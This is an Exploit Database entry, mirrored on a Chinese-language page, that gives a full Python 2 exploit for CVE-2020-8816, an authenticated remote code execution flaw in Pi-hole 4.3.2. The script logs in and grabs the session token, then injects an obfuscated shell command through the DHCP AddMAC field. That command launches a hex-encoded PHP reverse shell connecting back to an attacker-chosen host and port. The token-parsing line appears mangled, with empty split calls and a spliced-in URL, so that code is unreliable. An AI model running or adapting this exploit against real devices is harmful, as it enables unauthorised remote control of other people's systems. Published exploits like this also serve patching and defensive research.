Pi-hole 4.3.2 – Remote Code Execution (Authenticated)

Exploit Database
127 阅读

作者： Luis Vacacas

日期： 2020-08-04
类别：
- webapps
平台：
- Python
来源：https://www.exploit-db.com/exploits/48727/

#!/usr/bin/env python2

# Exploit Title: Pi-hole 4.3.2 - Remote Code Execution (Authenticated)

# Date: 2020-08-04

# Exploit Author: Luis Vacas @CyberVaca

# Vendor Homepage: https://pi-hole.net/

# Software Link: https://github.com/pi-hole/pi-hole

# Version: >= 4.3.2

# Tested on: Ubuntu 19.10

# CVE : CVE-2020-8816

# Twitter: https://twitter.com/cybervaca_

import requests

import argparse

import base64

class Color:

PURPLE = '\033[95m'

CYAN = '\033[96m'

DARKCYAN = '\033[36m'

BLUE = '\033[94m'

GREEN = '\033[92m'

YELLOW = '\033[93m'

RED = '\033[91m'

BOLD = '\033[1m'

UNDERLINE = '\033[4m'

END = '\033[0m'

def informa(msg):

print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " +msg )

def get_args():

parser = argparse.ArgumentParser(description='CVE-2020-8816 Pi-hole RCE authenticated by @CyberVaca_')

parser.add_argument('-u', dest='url', type=str, required=True, help="URL Target")

parser.add_argument('-p', dest='port', type=str, required=True, help="LPORT")

parser.add_argument('-i', dest='ip', type=str, required=True, help='LHOST')

parser.add_argument('-pass', dest='password', type=str, required=True, help='Password')

return parser.parse_args()

banner = base64.b64decode("4pWU4pWQ4pWX4pSsIOKUrOKUjOKUkOKUjCAg4pWU4pWQ4pWX4pSs4pSsIOKUrOKUjOKUgOKUkOKUrCAg4pSM4pSA4pSQCuKVoOKVkOKVneKUguKUguKUguKUguKUguKUgiAg4pWg4pWQ4pWd4pSC4pSc4pSA4pSk4pSCIOKUguKUgiAg4pSc4pSkCuKVqSAg4pSU4pS04pSY4pSY4pSU4pSYICDilakgIOKUtOKUtCDilLTilJTilIDilJjilLTilIDilJjilJTilIDilJgKICAgICAgYnkgQEN5YmVyVmFjYQo=")

def login(url,password):

session = requests.Session()

paramsGet = {"login":""}

paramsPost = {"pw":password}

headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":url + "/admin/index.php?login","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"cabesha"}

response = session.post(url + "/admin/index.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies, allow_redirects=False)

token = response.content.split("")[0].split("")[1].split('</div><script src="https://www.exploit-db.com/exploits/48727/scripts/pi-hole/js/header.js"></script>')[0].split("<div id='token' hidden>")[1]

return token

def shell_reverse(url,token,payload):

session = requests.Session()

paramsGet = {"tab":"piholedhcp"}

paramsPost = {"AddMAC":"aaaaaaaaaaaa&&W=\x24{PATH\x23/???/}&&P=\x24{W%%?????:*}&&X=\x24{PATH\x23/???/??}&&H=\x24{X%%???:*}&&Z=\x24{PATH\x23*:/??}&&R=\x24{Z%%/*}&&\x24P\x24H\x24P\x24IFS-\x24R\x24IFS'EXEC(HEX2BIN(\"" + str(payload).upper() + "\"));'&&","field":"DHCP","AddIP":"192.168.1.0","AddHostname":"192.168.1.23","addstatic":"","token":token}

headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":"http://172.31.11.3/admin/settings.php?tab=piholedhcp","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"cabesha"}

response = session.post(url + "/admin/settings.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies)

def generate_shell(ip,port):

payload = "php -r '$sock=fsockopen(\"LHOST\", LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'".replace("LHOST",ip).replace("LPORT",port)

informa("Payload: " + Color.END + payload)

payload = payload.encode("hex")

return payload

if __name__ == '__main__':

print(Color.RED + banner + Color.END)

args = get_args()

token = login(args.url,args.password)

informa("Token: " + Color.END + token)

payload = generate_shell(args.ip,args.port)

informa("Sending Payload..." + Color.END)

shell_reverse(args.url,token,payload)